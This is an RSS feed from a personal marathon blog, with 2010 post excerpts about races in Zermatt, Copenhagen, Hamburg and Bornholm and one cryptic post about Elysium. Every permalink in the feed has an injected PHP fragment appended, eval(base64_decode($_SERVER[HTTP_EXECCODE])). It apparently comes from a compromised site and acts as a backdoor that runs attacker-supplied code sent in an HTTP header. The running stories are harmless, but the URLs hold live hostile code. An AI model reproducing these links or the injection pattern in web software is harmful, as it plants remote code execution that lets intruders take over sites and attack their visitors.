http://www.temperance.dk/blog Marathon-stories, spirituality and the love of life Tue, 31 Aug 2010 17:55:57 +0000 http://backend.userland.com/rss092 en I have been very fortunate. I have lived in the context of many great things, inventions and persons. I have lived in the era of Johan Cruyff, Zico, Maradona, Laudrup and Messi, in the era of Bjørn Borg, Martina Navratilova and Roger Federer, in the era of Ingemar Stenmark and Gunde ... http://www.temperance.dk/blog/2010/08/31/in-context-of-purpose-and-morality/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Hey, so what is new ? Well, for me I can take delight in turning 25 again and at the same time growing to a new century. Puzzled ? I am of course taking about my numbers of marathons ! Fact is that I ran #200 at beautiful Blokhus, Denmark, ... http://www.temperance.dk/blog/2010/08/29/marathon-200/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I have once again visited one of the most important places on Earth for me, the small hotel Dalseter high up in the norwegians mountains, the place where I learned to ski (age 2), hike (age 4) and swim (age 5) and where I throughout my childhood found salvation in ... http://www.temperance.dk/blog/2010/07/21/mountains-marathons-and-the-pursuit-of-happiness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Saturday, I completed the toughest marathon for me to date, the incredible tough and extraordinary beautiful Zermatt marathon in Switerzerland. Zermatt is residing at the foot of the world-famous mountain Matterhorn, the perhaps most fascinating peak available for ordinary turists to view. The marathon race started in the valley town St. Niklaus ... http://www.temperance.dk/blog/2010/07/12/zermatt-marathon-2010-a-lifetime-experience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Two weeks back I was in the middle of the perhaps toughest contest thus far in my humble marathon career: the completion of seven marathons within the timespan of six days ! The races were part of an ultra-event organized on the Danish island Bornholm in the Baltic Sea. Runners from ... http://www.temperance.dk/blog/2010/06/30/7-marathon-in-6-days/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Sunday 23th of May will become a historic day in Danish marathon running: this day, Copenhagen marathon lifted itself into the brand of International marathons with a spectator-crowded Capital cheering the runners through a very scenic and adventurous route passing many parts of Copenhagen ! Here the pack is flowing through idyllic ... http://www.temperance.dk/blog/2010/05/24/copenhagen-marathon-2010/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My first marathon was in Copenhagen, Denmark six years ago, ie. the 16.05.2004. Thus, my personal marathon year spands from the 16th of May each year and I have thus just now completed my sixth year of marathon running : Year 1: 4 marathons - including Berlin and London ! Year 2: 12 marathons - including Stockholm, ... http://www.temperance.dk/blog/2010/05/15/end-of-year-6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Thursday, I completed one of the toughest marathons ever for my part, the absolutely brilliant "Underground marathon" in Jutland, Denmark, including 12 trips into two Limestone Mines plus a quite tough hilly route all in all. We were in the realms of the Danish Robin Hood "Jens Langkniv"... ... and so many ... http://www.temperance.dk/blog/2010/05/15/marathon-in-a-limestone-mine-kalkmine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ What you know is insignificant. You will never grasp the calls from Elysium. They call... I try not to listen. http://www.temperance.dk/blog/2010/05/11/elysium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Finally, I made it again to participate in Hamburg marathon - what a joy ! Not only is Hamburg marathon perhaps the best marathon in Europe it was also the last on my list that I did not have pictures from as yet. Yesterday, Sunday 25-Apr-2010 changed that and my collection is ... http://www.temperance.dk/blog/2010/04/26/hamburg-marathon-2010/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/